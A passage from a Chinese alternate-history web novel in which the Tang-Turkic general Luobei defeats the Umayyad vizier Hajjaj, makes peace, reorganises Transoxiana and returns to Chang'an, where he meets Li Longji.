浑身是血,手臂和腰背都受了伤。 “他们真是一群可怕的疯子。”叶齐德向哈贾吉申诉, “他们打起仗来完全不要命,就像吃人的野兽!而且,唐军主将一定是疯了, 否则他怎么会把突厥人和中国人放在一支队伍里打仗,连我这样的人都知道他们是死敌。宰相, 我们应当利用这一点……” 他语无伦次的话语止于哈贾吉温和悲悯的一眼:“比起唐军主将,你现在听起来才更像那个疯子。” “可是我们的失败……” “我们还没有失败,至少目前还没有,目前,只是你的军队经历了一点小小的挫折。”哈贾吉以温和、沉静的语气道,“你不能为了这个挫折放弃自己,这有悖神的主张,也有悖于我们大食人的威严。” 叶齐德奇迹般地被他的话语安抚下来,可是心中却充满了疑惑不解,据他所知,若是屈底波遇到这样的情况,哈贾吉必然会对他冷嘲热讽一番: “宰相大人的想法是?” 哈贾吉想了想:“我手中尚有十万大军,他们都是身体强壮的大食人,有着对天神的信仰,但更重要的一点是,他们都是我从伊拉克的守军中征来的,他们知道胜利是什么模样。” 屈底波的军队之所以一触即溃,就是因为在一次又一次的失败之后,大食军队已经不再相信屈底波能带领他们战胜唐军。他们相信唐军主将洛北真的是受到了神明的赐福,而他们已经被自己的神明抛弃。 叶齐德明白了他的意思:“是,大人。” 见军心重定,哈贾吉才走出满是伤员的战地医院。他回到自己的大帐中,坐回那满是金色绣花的绸缎垫子上,从桌子下方抽出了一封信。 一封唐军主帅洛北——阿史那乌特写给他的信。 这位兼具唐人将军与突厥特勤身份的年轻主将显然不是个简单的人物。他已能熟练地运用大食文字提起哈贾吉的过往与辉煌经历,称赞大食帝国的征服取得的成就。 在一篇篇官样文章之后,洛北极为恳切地说,他本无意扩张,但如果大食人的扩张进入了他的势力范围,他就必须带领当地的民众反抗。 “呼罗珊与其余波斯故地之间,尚有群山与诸大湖阻隔,我愿以此为界,与大食同分丝路之惠。” 洛北显然是用了很多力气在这封信上,哈贾吉心想,他很了解这片土地的情况——呼罗珊地区大部分是沙漠,只有游牧民可以在这样艰苦的条件下放牧,把呼罗珊和河中一起放给洛北,大食人与唐人可以分享漫长的丝绸之路和它的财富。 这不是不能接受的条件,但不是在此刻。屈底波死了,死得毫无尊严、大食人群情激愤,这样的当口,哈贾吉必须要为自己的部下报仇。 哈贾吉将这封信放在烛台上烧毁,召来他的传令官,高声下令:“继续行军!” 大军出发的马蹄声很快就来到了洛北驻营的大帐。洛北带领众将于山坡上张望大食军阵,只见大食人骑兵在前,步兵在后,旌旗飘展,漫山遍野,不见尽头。 朱邪烈这才后知后觉地察出一点味道:“大食人这是征调了十万之众来此么?这可是屈底波军力的数倍啊。” “这说明哈贾吉已经决定与我们决一死战。”洛北催马上前,指了指那骑着高大的黑色骏马的将领:“这就是你们打败过的叶齐德吧?好一匹漂亮的骏马。” 阙特勤闻弦歌而知雅意,当即笑道:“好马当配英雄,他这个败军之将,也配?等着,我去取来。” 洛北望了他一眼:“别胡闹,你身上的箭伤好利索了没有?” 阙特勤英武的脸上露出骄傲的笑容:“怎么,就许你乌特特勤算无遗策,不许我阵前扬威?”他说罢,也不等洛北回答,只高声催马:“驾!” 阙特勤一路催马下山,扬起烟尘一片。大食人不明底细,还以为是又一波伏兵到来,只把手中的弓矢一阵乱放,看得山上众将心惊胆战,生怕阙特勤中箭掉马。 步利正要率部辅助自己的伯克,洛北却竖起一根手指阻住了他:“且等一会儿。” “可是乌特特勤!”步利正要争辩什么,却见洛北伸手指向远方。 烟尘散尽之处,阙特勤已翻身而起,从备马换到自己的宝马之上——好个阙特勤,他仗着自己骑术高超,半挂在马鞍上躲过了这场箭雨。 大食人这才发现来的只有一人一马,不少人呆在当场,不知如何反应。 阙特勤见众人不备,一拍马后,他座下宝马已知他心意,见状随即高抬马蹄,纵身一跃,竟生生越过那些盾牌之间,几个戍守在盾牌后的大食人还未反应过来,已被他马蹄踏过。 他手持大刀左挥右砍,顷刻间已将数人砍倒在地。周围的大食士兵将他勇猛如此,哪还敢同他正面对抗,这一眨眼之间,他已突到叶齐德之前,挥槊一扫。 叶齐德抬盾欲格,哪知道阙特勤力大无穷,一挥之下,硬用铁槊将他连人带盾扫下马去。 眼见先锋大将倒地,众人哪敢拦他。正在阙特勤便要这样牵马冲出大食军阵之时,哈贾吉道命令从层层军阵之中传来:“拦住他!” 有主帅发话,又有中军骑兵上前压阵,大食人才重新拾起信心,向阙特勤围聚而去。 阙特勤一面疾驰,一面回头,只见眼前盾牌军阵已经在他面前合拢,身后又有骑兵穷追不舍,心下生起一股绝望,自他十六岁出阵以来,歼敌无数,难道今日就要败在大食人之手? 他长喝一声,一拍马身,掉头迎战。这样作为,便代表他不再反身求突阵,反求杀伤更多敌人。 他迎面掀翻两个追来的大食军将,又刺穿一人脖颈,然而大食骑兵无穷无尽,更糟糕的是,骑兵重重包围之处,大食人的帅旗也已出现在战场上了。 帅旗之下便是大食宰相哈贾吉,他身着细密的锁子甲,头戴花羽头盔,胡须垂到胸前。他威风凛凛地出现在众军之中,引起大食人的一阵欢呼。 “阙特勤!”他身边的粟特近侍官以突厥语高喊,“你已经被包围了,退无可退!向我们投降!我们饶你不死!唐人才是我们的敌人,带着你的军队向我们投降!” 阙特勤放声大笑:“投降?!哪个草原男儿口中能说出这个词!”他取下马鞍上的弓箭,挽弓搭箭,向那近侍官放出一箭。 那粟特近侍官并未着甲,这一箭穿胸而过,在他胸前的锦绣长袍上绽开一朵血花。他倒下之时,眼中还是满满的不可置信,他在大军丛中,在紧密包围之下丢了性命! 哈贾吉见他冥顽不灵,也失去了“怀柔”的兴致,他双手一挥,两边着甲的骑兵纷纷上前,要将阙特勤困死在阵中。 阙特勤力战数人,已有力弱之势,不妨左臂上又中一下,那正是先前他的箭伤所在,被人一砸,便觉手臂一痛。 他心知,那包好的箭伤只怕已经裂开了,他左臂受伤,手中便要脱力。他勉力用右手握住铁槊,伸手正要再挥—— 一支鸣镝自他头上飞过,大食飘扬的帅旗应声而落。 骑兵马蹄如雷,旗帜如云,在主将洛北的带领下向大食军阵杀来。 阙特勤见状,干脆也不后撤,在众军之间向哈贾吉的方向杀去。哈贾吉见此情景,心中已道不妙,急急命令卫队后撤。 但他还是慢了一步,洛北手中的利箭已到,在他错神之间擦着他的脸颊飞了过去,留下一道长长的血痕。 洛北放下弓箭,抽刀在手,高声呼唤:“兄弟们,跟我走!把大食人赶出我们的土地!” 第202章 “趁我没有改变主意,带着你的军队走吧。” 这一场惊天动地的大战终于落下帷幕的时候, 已经是这一日的黄昏时分。 残阳如血,战场上到处是断旗折戟、到处是尸山血海,鲜血流入西海之中, 甚至染红了半边这广袤的咸水。 洛北穿过正在收拾残局的大唐军人们之间, 来到战场的另外一端,阙特勤正坐在一副马鞍上由军医裹伤,见到他来,拍了拍马鞍示意他坐下: “有时候我也会以为你有神明相助。” 洛北没有理会他,伸手接过军医手中的纱布和草药, 低头闻了闻,又低声对军医道:“你去取我大帐里的药囊来。” 军医点了点头,领命而去。洛北扯下一条布料, 替阙特勤扎住出血处的上方,才回答他: “至少我带头冲锋的时候,身边总有卫队与兵马保护, 不至于孤身去敌人阵中炫耀武力。” 阙特勤哈哈大笑起来, 但这一笑又牵扯到他臂上的伤口,疼得他冷冷抽了几口气:“你知道我为什么要这么做的。” 洛北当然知道,大食人提兵十万,气势汹汹。阙特勤在阵前耀以武力, 为的就是消灭大食人的胜势,破灭他们取胜的信心。 “故善战人之势, 如转圆石于千仞之山者,势也。”洛北轻声背诵了一句《孙子兵法》中的名篇,“大食人若不是被你打得势头全消, 也不至于这么轻易地被我击败。” 阙特勤轻轻笑了一声:“你把打仗说得太轻易了。若不是你以右军诱敌深入,又亲率中军切断了敌人的阵型, 十个我也无法打开局面。” 哈贾吉不愧为大食名将,一开始他的军队被洛北与阙特勤率兵一冲,已经开始支离破碎,眼看将有衰败之相。他竟能从容命令军队收拢阵型,猛攻唐军右军。 唐军的右翼多为西域各部的骑兵与戈尔甘、陀拔思单的部族兵马,皆由莫贺达干和苏禄率领,机动性极强,也最易崩溃。洛北见状,即命两人领军边打边撤。唐军右军牵制大食军队一路后退,退到了陀拔思单的山谷之中。 大食军队前段已经进了陀拔思单的山谷,后段却在山谷之外。洛北立即率领他麾下的亲兵杀入大食军阵,拼着自己腹背受敌,也要将大食军阵拦腰截断。 大食军阵首尾不能相顾,消息也不通。山谷之中的兵马受到殿后的张孝嵩指挥的唐军抛石机攻击,很快就支撑不住,率先崩溃。 溃兵四散奔逃,一路逃出山谷,山谷外的大食军队也支撑不住,开始崩溃。兵溃如山倒,到了这一日黄昏,此战终以唐军大胜落下帷幕。 “可惜跑了哈贾吉。”洛北轻轻皱眉,他本欲以此战抓到哈贾吉与远在大马士革的哈里发谈判,如今看来是没有指望了。 阙特勤正要说什么,却见到吴钩提着洛北的药箱前来,对他和洛北低身道礼:“见过洛将军、阙特勤。”他把药箱递给洛北,又道:“我有些军中消息需要禀报将军,可否麻烦将军同我移步一边?” 洛北见他神神秘秘,知道这些消息定然和突厥有关,当下摆了摆手:“阙特勤是我的兄弟,既然是突厥国内消息,他也应当知道。” 吴钩见他坚持,只得点头道:“是,将军,漠北的拔野古人叛乱,阿史那匍俱不能制,默啜已经率军亲征去了。” 阙特勤顾不上伤口,立刻站起了身:“那我兄默矩呢?他随军出征了吗?” 吴钩点了点头:“拔野古人是铁勒部之一,他们叛乱也得到了铁勒各部的帮助,如今草原上大战已起,默矩王子也率军参战了。” 铁勒部本是突厥别种,一直盼望得到草原上的霸主位置。多年以前,大唐灭亡突厥之时,铁勒部之一的薛延陀部便趁机崛起,但终为唐军与归附的突厥人所灭。如今拔野古人再起叛乱,怕是铁勒各部已经看破了阙特勤西征而去后,突厥军力空虚的本质。 洛北点了点头,接过药箱,示意吴钩退到一边。再回头时,阙特勤已经焦急地起身:“乌特……” “率军回援,奔袭千里,你这个主帅,不把伤治好了怎么行?”洛北抬眼望着他,手上却不停。 阙特勤简直不敢相信自己的耳朵了:“你肯让我回军救援?你知不知道……” “我知道你这一去定能帮助默矩成为突厥大汗,也知道他素有仁爱之名,不比默啜暴戾,突厥各部很可能会臣服在他的狼纛之下。更知道你回去之后,我们就又会成为敌人,所以……” 洛北在一片天黑前的蓝光之中闭上双眼,深深地叹了口气。 第一次,阙特勤第一次从自己这位挚友脸上看见深深的疲倦神色。 “趁我没有改变主意,带着你的军队走吧。” 阙特勤望着他的眼眸,那双流金一样的琥珀色眼眸在天色映衬之下变成了某种更深沉的颜色:“你呢?放走了我,你打算怎么和长安交代?” “长安朝廷一片混乱,各家派系互相争锋。”洛北轻声道,“在决出最终的胜者之前,他们不敢轻易动我。” 若无十成把握,擅动他这样一个战功赫赫,故交旧将遍布朝中的大将军,只会给自己的政敌送把柄。 阙特勤默然不语。洛北终于按着他的肩头把他按回马鞍之上,将干净的纱布包在他的手臂上:“药膏我给你带走,伤好之前,不许冲阵,不许饮酒。” 阙特勤苦笑一声,玩笑般地哀求道:“那我打仗还有什么意趣?” 洛北横他一眼:“我说你这条左臂还要不要了?” “要,要,要。朋友,兄弟,乌特!你轻点!” 数日之后,一路败退到雷伊城的哈贾吉终于在堡垒中得到了一晚充足的休息。他和他的军队一样疲惫不堪、满腹愁绪。 雷伊是一座古老的城市,早在亚历山大大帝追逐大流士三世之时,它便已经建成了,这里是自帕提亚帝国到萨珊波斯时代的重要城市、在大食人西征之时,他们推翻了此地的世袭家族米赫兰家族,转而任命米赫兰家族的对头齐纳比家族为本地总督。 总督为败退的大食军队大开方便之门,准许他们在自己的庭院和堡垒内休息。甚至积极地询问哈贾吉是否需要他的帮助。但哈贾吉只是看了一眼他身上做工精致的锦袍,便摇了摇头: 放任这样自命不凡的家伙去和唐人打仗,除了加快自己军队溃败的速度之外别无其它效果。 “宰相大人,大马士革来的快报。” 更加雪上加霜的是,哈贾吉收到了一封来自大马士革的信件——写信的是一个他万分信任的大食官员,他正在哈里发的宫廷中侍奉君主。 信中说,年轻的哈里发瓦利德一世听闻大军败退的消息,气得病倒在床,大马士革挤满了图谋哈里发之位的阴谋家。刚刚征服的埃及、拜占庭及西班牙各地开始蠢蠢欲动,最糟糕的是…… “那些人,那些不信者。”哈贾吉放下信件,用戴着宝石戒指的手指托着下颌,陷入了久久的沉思之中。 最终,他从自己的宝座上起身,来到祷告室中,诚心向自己的天神祷告,片刻之后,他从祷告室中大步走出,命令使节去找跟随自己败退到此的将领们。 “我有两件重要的事情要与他们商量。”哈贾吉道,“第一,我要同唐人议和,第二,我们要回军大马士革。” 前有皇命,后有军情,在几番纸上的来来回回,唇枪舌战之后,大食帝国的宰相同大唐都护坐在了木鹿城的议事厅中。 此后的数千年间,无数作者在他们的作品中歌颂这一时刻,人们认为,丝绸之路的空前发展和繁荣就发始于这场谈判之后。 其中最引人注目的作品之一,当属于撒马尔罕城中的一副巨型壁画。 壁画之上,年轻英俊的唐人都护,一身绯服,跣足而坐,左手撑于胡床,右手放于右膝,右腿自然下垂,神采自然。他的突厥王子朋友,头戴金冠,长发披肩,抚掌微笑。大食帝国的宰相高举金杯,双唇开合,似在说着什么。劫后余生的粟特人的官长——河中都护,康王乌勒伽微微仰着头,望着眼前的这些将军们。 要让身处谈判之中的洛北本人来说,那时他并不觉得自己迎来了一份永久的和平约定,哈贾吉不可能永远掌握大食帝国的局势,眼前的休战不过是予以双方喘息的机会。 洛北甚至与自己的部将们谋划,要西迁一些部族来到木鹿城居住,以戈尔甘和陀拔思单的部族为前,以木鹿城为后,时刻拱卫大唐的边疆。 出乎众人意料的是,主动请缨的不是别人,而是突骑施首领之一的苏禄。 “你到底怎么想的?”会议结束之后,与他同为突骑施首领的莫贺达干找到了他,“呼罗珊地域广袤,确合放牧。但大部分都是沙地,比碎叶附近的黄金草原差多了。” 苏禄深深地望着他:“莫贺达干,你是不是已经忘记了,自己是乌特特勤手下的战败者?” 莫贺达干被他一呛,一时说不出话。他反应了片刻,才道: “是,但那又如何?我们如今都在唐军大旗下战斗,我们分享大食人的财富,我们两个败军之将甚至能提领西域的兵马,难道你对这一切还不满足吗?” 苏禄苦笑一声:“不满足?我有什么敢不满足的?他能任意调动突厥的军队,能统领唐人的军队,难道我会是他的对手吗?更不要说,他还如此年轻……我只是想告诉你,这一切是不可长久的。” “为什么这么说?” “你在唐人的旗帜下待得太久了,莫贺达干,你忘了在草原上,我们如何对待战败者的吗?” 第203章 “我希望你像胡杨木一样扎根在这片土地,这会是你统治的开始。” “成年的男性或沦为放牧的奴隶, 或立刻遭到屠戮,妇女们被随意糟蹋,而后被卖为奴婢。老人直接杀死, 孩子则从小受到奴隶的教育。不论他们有多么高贵的姓氏, 有多么伟大的血统——千百年来,草原上的规矩就是如此,一个族群战败,他们就该失去一切。” “而现在,正如你我所说, 我们的部族还拥有碎叶城边的草场,我们作为将军为大唐征战,我们享有着和他麾下所有将领一样的权力。” “可我们所拥有的这一切, 依靠的只有乌特特勤的仁慈而已。” 苏禄再度深深地叹了口气: “你和我都很清楚,在不远的未来,伟大的乌特特勤就会统一草原。草原上的和平带来人口的增长, 草场匮乏之际, 我们作为失败者的部族,还能保住自己的草场吗?” 莫贺达干被他的一席话震得愣在当场,半晌之后,他才结结巴巴地道:“可是乌特特勤……” “乌特特勤不是永远不死的!而且, ”苏禄压低了声音,“你以为大唐朝廷还能容忍他在这里逍遥多久?” 景龙七年五月, 北庭大都护、碎叶郡王、上柱国洛北启程回朝。 在起行之前,他提拔安西判官吴钩为河中经略使,命他留守河中都护府, 又改石国为柘枝都督府,任命阿拔思为柘枝都督兼河中副都护, 又以突骑施黑姓部西迁木鹿。任命苏禄为波斯代都督兼河中都护府兵马使。 以粟特人主行政,突厥人主兵马,以汉官监督调停,最大限度地保证了大唐在此地的权威。 “不过,公子是把难题丢给了我们。”吴钩在送别他时笑道,“我们这些不同背景、不同出身的人如何精诚合作,会是这个新生的河中都护府最大的问题。” “我相信你和阿拔思的智慧。” 吴钩躬身向他道礼:“公子放心,我一定不负公子所托。” 他直起身,又笑道:“人生得一明主,何其难得。这些年,有赖公子信任所托,我以一战俘出身的商贾身份得到重用,乃至加官进爵,主政一方,我之幸也。” 洛北轻轻一笑:“你我之间何须这些客套,怎么,有话要说?” “是啊,您已把叶若叶延派去护密及葱岭,又把我和阿拔思留在河中。当初那些叫您公子的人,只怕已经四散各方,您自己……”吴钩望着他,眼中是满满的担忧神色。 “富贵非我愿,帝乡不可期。”洛北轻轻一笑,“兵来将挡,水来土掩就是了。再说,褚郡君也会同我一道回去。” 褚沅久在长安,谙熟长安风物人情,也熟悉大明宫中的一草一木,有她随行,确实安全得多。 “有褚郡君在,确实好得多。”吴钩颔首,他忽而像想起什么似的:“那波善活王子呢?他仅有的亲族如阿罗憾等都在长安,公子是否会把他带去长安?” “他啊,他已经来找过我了。” 彼时木鹿城初定,风雪已久的平原之上忽而迎来一个难得的晴日。洛北打马去城外散心,恰与波善活碰了个正着。 他正在那里和几个波斯老人交谈,见到洛北兴冲冲地跑过来和他道礼:“伯克。” 那几个波斯老人都是昔年跟随泥涅师西征,又被俘到此的士兵,不久前才由洛北出资赎买恢复了自由人的身份。 波善活与他们聊了半日,见到洛北时便迫不及待地问:“伯克,长安是什么样的地方?” 洛北忍俊不禁,似乎每一个在波善活这个年纪的少年人都问过他这个问题,因此他依旧用回答慕容曦光的话回答他:““长安啊,是世间最繁华辉煌的城市” “那等您班师回朝,我能同您一道去吗?” “可以,但我不建议你这么做。” 波善活微微皱眉:“长安城里居住着我最后的亲族,难道还有比与他们相认更重要的事情?” “有。留在呼罗珊,走出宫殿与卫兵的保护,到田间去,到山间去,和你的子民、你未来要统治的人们在一起,要了解他们的所思所想,了解他们的喜怒哀乐。” 波善活似懂非懂地点了点头:“您的意思是,让我像平民一样生活?” “是,忘掉你是万王之王的后人,忘掉你是吐火罗叶护的义子,忘掉你是我的近侍。”洛北道,“去看看与那些为你的家族修建城堡的人,那些为我们修建城墙的人,那些种植、畜牧、年复一年地劳作,供给我们吃饭穿衣的人。只有这样,你才能知道如何统治未来的波斯都督府。” 洛北转过身,望着他: “我希望你像胡杨木一样扎根在这片土地,这会是你统治的开始。” 波善活深思熟虑了一晚,最终决意作为一个归家的士兵回到波斯人之间: “或许我现在还无法理解你的话。伯克,但我相信,再过一段时间,我会明白的。” 洛北提领大军从木鹿城出发的那一日,波善活驱赶着一群牛羊进入荒野。他换下了王子的服色,和平民一般披着毡袍,脸上却是潇洒自在——他已经找到了将行的道路。 七月下旬,洛北终于率军回到了碎叶城。 那一日,碎叶城中张灯结彩,洛北一身玄甲打马走在最前,甫一入城中,便迎来一场的是有如壁画描绘般的花雨。 他身后凯旋的士兵们个个精神抖擞,盔甲在阳光下闪闪发光,他们行进在街上,高昂着下巴,眼神中满是自豪和骄傲。 街道两旁挂满了彩旗和灯笼,下方是无数前来迎接的百姓。欢呼声、掌声此起彼伏,如同海浪一般一波接着一波。孩子们骑在父亲的肩上,兴奋地指着那些威武的士兵,眼中充满了崇拜。妇女们则手捧鲜花,准备献给归来的英雄们。 洛北骑在马上扫视四周,但见人人面色红润,神情愉快,两边街道商铺招牌整齐,不少地方还站了西域来的商人、学生,一直紧绷的神情终于稍缓。 朝廷调令只改任他为北庭大都护,并没有改变裴伷先的任命。裴伷先依旧是安西大都护府长史,换句话说,碎叶城的主政只有褚沅一人。 那时战事虽已大体见了分晓,但碎叶城中尚有无数政务等待处理:春耕、夏牧……事事都能压垮一个没有那么精干的朝廷官员,更不要说褚沅这样连个正式任命都没有的女官了。 如今的碎叶城百姓安居乐业,政通人和,可见褚沅的用心。 军队行进到城中的一片空地上,洛北率先下马,和一众军中将领和功臣快步走上搭建好的高台。城中各处都已经准备好了欢庆的盛宴。他转头望了一眼侍立在一侧的褚沅,示意仪式可以开始了。 褚沅轻轻颔首,向远方高扬双手——长号声先起,而后激越的鼓声、笙笛箜篌等一起奏响,那旋律顿时响彻全城。 这是大唐的军乐,也是太宗皇帝的凯歌,《秦王破阵乐》。 军中众人无不肃穆,城中百姓也应声而歌: “受律辞元首,相将讨叛臣。咸歌《破阵乐》,共赏太平人。” 乐声一毕,洛北环视四周,声音洪亮而坚定: “百姓们,多年前我率军收复碎叶城,曾在此向你们许诺,从那一日开始,和平和安定将会永远停留在碎叶城中。” “如今我与众将士荡涤吐火罗,平定河中,西开波斯都督府,凯旋而归,碎叶城四周平定,暂无战乱之忧,我在此再度向诸位许诺。” “自今之后,碎叶必将成为一座繁荣之城!” 他话音刚落,广场上响起了雷鸣般的掌声和欢呼声,人们举杯相庆,整个碎叶城沉浸在一片欢乐和祥和之中。 几乎与此同时,奉命回朝的阿史那献也回到了长安,他几乎没在家中停留,只匆匆沐浴更衣,就来到紫宸殿拜见李显。 比起数年前他离开长安之前,李显的面色更差了,他说话的声音已经有些含糊,一些词句需要韦皇后来转达。但见到阿史那献时,他还是挣扎着挥手免了礼。 “朕与爱卿皆为多年颠沛流离之人。”李显感慨地握住阿史那献的手,“虽说朕贵为九五之尊,执掌天下,但比起爱卿,朕还是差了许多。” 阿史那献知道他此话的用意,但还是要试探性地问:“陛下这话,叫臣愧不敢当。还请陛下赐教。” “朕可没有你的儿子那样一个好孩子。”李显苦笑一声,指了指自己的头,“这些年,但凡头风发作,朕还要把李院判找进宫中,用他开出来的方子治病。” “犬子这点微末小伎,若能帮助到陛下,是他的荣幸。”阿史那献心中疑问万千,面上却不能表,还是低着头,等着李显的下一句话。 果然,李显开口问道: “可你有这样一个好儿子,日后你要是和朕的皇妹有了孩子,这西突厥可汗的位置,你要留给谁呢?” 第204章 “我的祖父是天子,我的父亲是相王,我是临淄王李隆基!” 阿史那献呼吸一滞。 这个问题暗藏玄机。 论亲论贵, 皇帝自然会希望把西突厥可汗之位交给自己的亲外甥。但以洛北荡平西域,击退大食之功,做父亲的不予加赏, 反倒褫夺了他的继承权。只怕消息出了长安, 即刻就会在西域引起一场地震。 皇帝的这个问题,是在测试他的忠心,还是在询问他的意见? “立嫡立长,国家传承之本。微臣不敢妄言。只是多年前承蒙皇恩,微臣已同洛北同往金山祭拜祖先, 以其为臣长子,共告天地与诸部。” 阿史那献审慎地拿捏着语气: “西域动乱方平,以洛北之功勋能力, 尚不能定鼎乾坤,何况幼子乎?” “长安城中消息,陛下已经降诏复立重俊为太子。” 即使洛北一再要求轻装简行, 回归长安的队伍也足足排出了两里多, 已经领了功勋准备回乡的士兵、河中、吐火罗和大食的使团以及护送他们礼物的仪仗队。洛北自己的卫队唐军的旗帜和乌特特勤的旗帜随风飘扬,几乎遮蔽了半个天空。 和离开长安的时候不同,褚沅这次是带着风帽骑马走在队列之中,此刻她读过手中的一张字条, 又递给了洛北和张孝嵩。 张孝嵩对褚沅能获取信息的效率和速度百思不得其解,终于一日, 他忍不住问褚沅: “我听洛将军说,郡君曾为女皇执掌情报机要,因而安乐公主和皇后用尽手段, 非要拿到你手中的情报网络不可。难道郡君竟在皇后和公主面前耍了花招?” 褚沅掩唇一笑:“张御史这问题我可不敢回答。”她催马快走几步,移步到旁边去和前来的使者交谈了。 张孝嵩只得再度把目光望向洛北:“洛将军可否为我解惑?” 洛北本在远望终南山, 听到张孝嵩这话,才回头来看他:“孝嵩,一张情报信息的网络,岂是一张名单就可以移交的?” “可我们在军中审讯时,不总是在得到名单之后便停止么?”张孝嵩道。 “是,可在军中,我们接下来的动作便是把名单上的人一网打尽。” 洛北轻声道: “或杀或抓,不得遗漏。可安乐公主和皇后所做之事,却是要把这张网络据为己有。想想吧,孝嵩,这些人的司掌不同、消息来源不同、能各自被驱动的利益也不同……即使皇后和公主能在其中插入自己的人手,他们又能得到多少信任?” 张孝嵩恍然大悟:“所以,安乐公主确实得到了那张网,可她手上那张网能发挥的力量不及女皇时代的百分之一。” “这也是为什么我们能对长安城中的一砖一石都了如执掌。”褚沅目送那使者打马去往远方,又回到他们身边:“虽然诏书已下,长安城中依旧一片混乱。如若张御史和洛将军应允,我要快马赶回城中,与我宫中的几个旧友见面。” 张孝嵩颔首:“好,让洛将军派他的卫队护送你。” “不必,惊起太多注意,反而容易惹来麻烦。”褚沅摇了摇头:“只需派出一两个精干侍卫与我同行就好。” 洛北轻轻一拍手:“这可真是难倒我了,我才把精干的将军们派往各地镇守。褚郡君,若蒙你不弃,我出发护送你回长安。” 褚沅奇怪地看着他,不知道他这葫芦里卖的什么药。但见到洛北对她眨了眨左眼,便下意识地应允下来: “好。” “好,那我们轻装简行,先行入城。”洛北终于忍不住笑起来:“孝嵩,使团和仪仗,就拜托你了!”他说罢,挥手轻拍了一下褚沅的坐骑,自己也猛然催马,飞奔了出去。 “哎!”张孝嵩本想拦他,但他看着眼前飞驰而去的洛北,忽而想起,他们这位主帅是精于奔袭,惯常驾马飞奔在草原、雪山和荒野之间的。 叫他跟着慢悠悠的使团走了这许多路,怕是早就不耐烦了,能让他出去透个风,也是好事。 想到此处,张孝嵩就没有再喊,只自顾自地从马鞍下抽出一本新得的诗集,合着马蹄慢悠悠的节奏,津津有味地读起来。 九月的长安秋意正浓,洛北和褚沅一入城中,便被满城的金黄橙红迷了眼,朱雀大街上,商旅如织,曲江池畔,游人如梭。似乎长安城的繁华百世不改,万代不变。 “劳烦阿兄在此地稍候。”褚沅带着洛北七绕八绕,绕到昆明池边一处繁华的楼阁之中。这楼阁有一片临水的露台,风景最好,坐在那里,正能看到几只白鸥在水面嬉戏。 褚沅唤来店家,与他低声交待数句,店家应声而去,不一会儿,给洛北端出一只放着满绣锦缎布团的矮榻,又在矮榻前摆满一桌佳肴,请洛北享用:“若有不周之处,还请公子见谅。” “店家客气。”洛北对店家微微颔首,拎起桌上的八楞金瓶,望自己面前的白玉杯中倒满了一杯三勒浆,慢慢地自斟自饮起来。 褚沅在暗处微微向他福了福身,就隐匿到人群之中去了。洛北知道她行事谨慎,也不往那边看一眼,只望着秋日里湛蓝的天空。 “店家!”“店家!” 几声此起彼伏的喊叫,打断了他难得的闲适。他坐直身体,抬头望去,只见十来个衣着华贵,呼朋唤友的青年贵胄正朝这边过来。在他们四周,也有十几个仆役围着他们跑来跑去。 说话之间,已有人付了银钱,要包下这片临水露台宴游赏景。 店家赔着笑:“几位贵客如蒙不弃,便留给小老儿的朋友一隅之地。他是来此等人的,小老儿若贸然将人赶走,叫他和人失散,总是不好。” 洛北也站起身,微微拱手:“有劳。” 那仆役尚在举棋不定,为首的一个贵胄子弟见洛北气度不凡,率先应下:“无妨,无妨,兄台,可要和我们一道宴饮否?” 洛北摆了摆手,以示敬谢不敏。那人也没有再劝,说话间,那边的宴席已经开了起来。洛北侧耳听了一会儿,方知道这些人都是朝中高官家中的子侄,如今是一起出来赏秋的。 “之涣!你这酒令可是输了,要么喝酒,要么做首诗来。” 席上有人酒令落败,众人便一道起哄,那被称作“之涣”的少年也不怯场,将桌上的银错鎏金酒船端起,一饮而尽:“拿纸笔来!” 仆役正要端上纸笔,却听马蹄声纷至沓来,一不留神,险些将手中纸笔打翻。 不远处,一个肩上站着猎鹰的戎装青年打马朝这边闯来,他催马踏入淤泥之中,也不下马,只伸出胳膊,越过露台边的栏杆,高声叫:“喂!喂!取酒来。” 那一众贵胄子弟都呆住了,不知道这闯入宴会中的无礼青年到底是什么人,怎敢这样伸手问人要酒。 洛北也好奇地望过去,只觉得这人眉眼之间甚是眼熟。但他久在塞外,无心与长安城中的贵胄子弟来往,更兼褚沅惯常乘坐的车驾已经停在了门前——这大概意味着,褚沅与她宫中旧友的谈话就要结束了。他不愿出头,只在酒杯中又倒满了三勒浆。 那名叫“之涣”的少年眼见众人都望了过去,心中有些不忿,便往银错鎏金的酒船中倒满了酒,又高声道: “诸位,既然无事,我们不妨行个新酒令,击鼓传酒,停到谁那里,就报出自己的门第及长辈的官品,官品高于上家者,就满饮一杯。如何?” 一众贵胄子弟都齐声叫好,那名叫之涣的少年便持杯先行:“太原王氏,世祖为绛州刺史、父祖皆为县令。” 洛北这才定睛看了一眼这名叫“王之涣”的少年人,他应当是移居绛州的太原王氏之后,算是王翰的族亲。 下一个喝酒的是那为首的贵胄青年:“吴郡崔氏,祖怀州刺史、父沂州司马。” 众人一句一句地传过来,那要酒的青年却也没有逃走,只半抱着手臂,听他们一一报出自家的门第官品,终于,酒船传在他面前的两人之间,他伸手夺过酒船,高声笑道: “我的祖父是天子,我的父亲是相王,我是临淄王李隆基!” 这些贵胄子弟哪里想到,眼前这做军人打扮的青年竟是一位皇室子弟,闻言只得各自低身道礼,又怕尴尬,便要各自弯腰退走。 “别急啊。”李隆基哈哈大笑,自马上一翻,越过栏杆,走到宴席之间,自顾自地往酒船里倒满了琥珀色的酒浆。他豪饮三大杯之后,犹嫌不过瘾,拣了双干净筷子,开始吃起桌上的樱桃毕罗来。 那些贵胄子弟此刻尴尬极了,走也不敢走,坐也不敢坐,只得垂手肃立在那里,看着他把那些毕罗吃个精光。 李隆基吃饱喝足,才向后仰卧在软榻上,拿筷子点了点站在角落的洛北:“你们不是还有这位朋友没有报出家世姓名吗?” 那崔姓少年开口正要为洛北说话,却被王之涣拦住,众人看着洛北起身,一步步缓步走到李隆基面前,躬身对李隆基道了一礼: “一别经年,临淄王不记得臣下,也是常事。” “微臣出身西突厥阿史那氏。” 洛北直起身,以那双金棕色的眼眸与李隆基对视: “北庭大都护、冠军大将军、定远道行军大总管、碎叶郡王、上柱国阿史那乌特见过殿下——” 第205章 “围绕着皇位,朝中已经乱局如此,不是陛下复立太子就能停下来的。” “临淄王近期倒是动作频频。” 一枚碧玉的棋子敲在了榧木的棋盘上, 上官婉儿抬起落子的素手,状似不经意地问道。 她的棋盘对面依旧是方额广颐的太平公主,秋意渐浓, 太平公主还穿着夏日的薄绸衫裙, 只在外间披了一件貂绒的斗篷。听到上官婉儿这话,只是抬头一笑: “哦,隆基啊。他自潞州别驾任上归京,预备着参加封禅,便在长安不走了。大概是眷恋长安繁华, 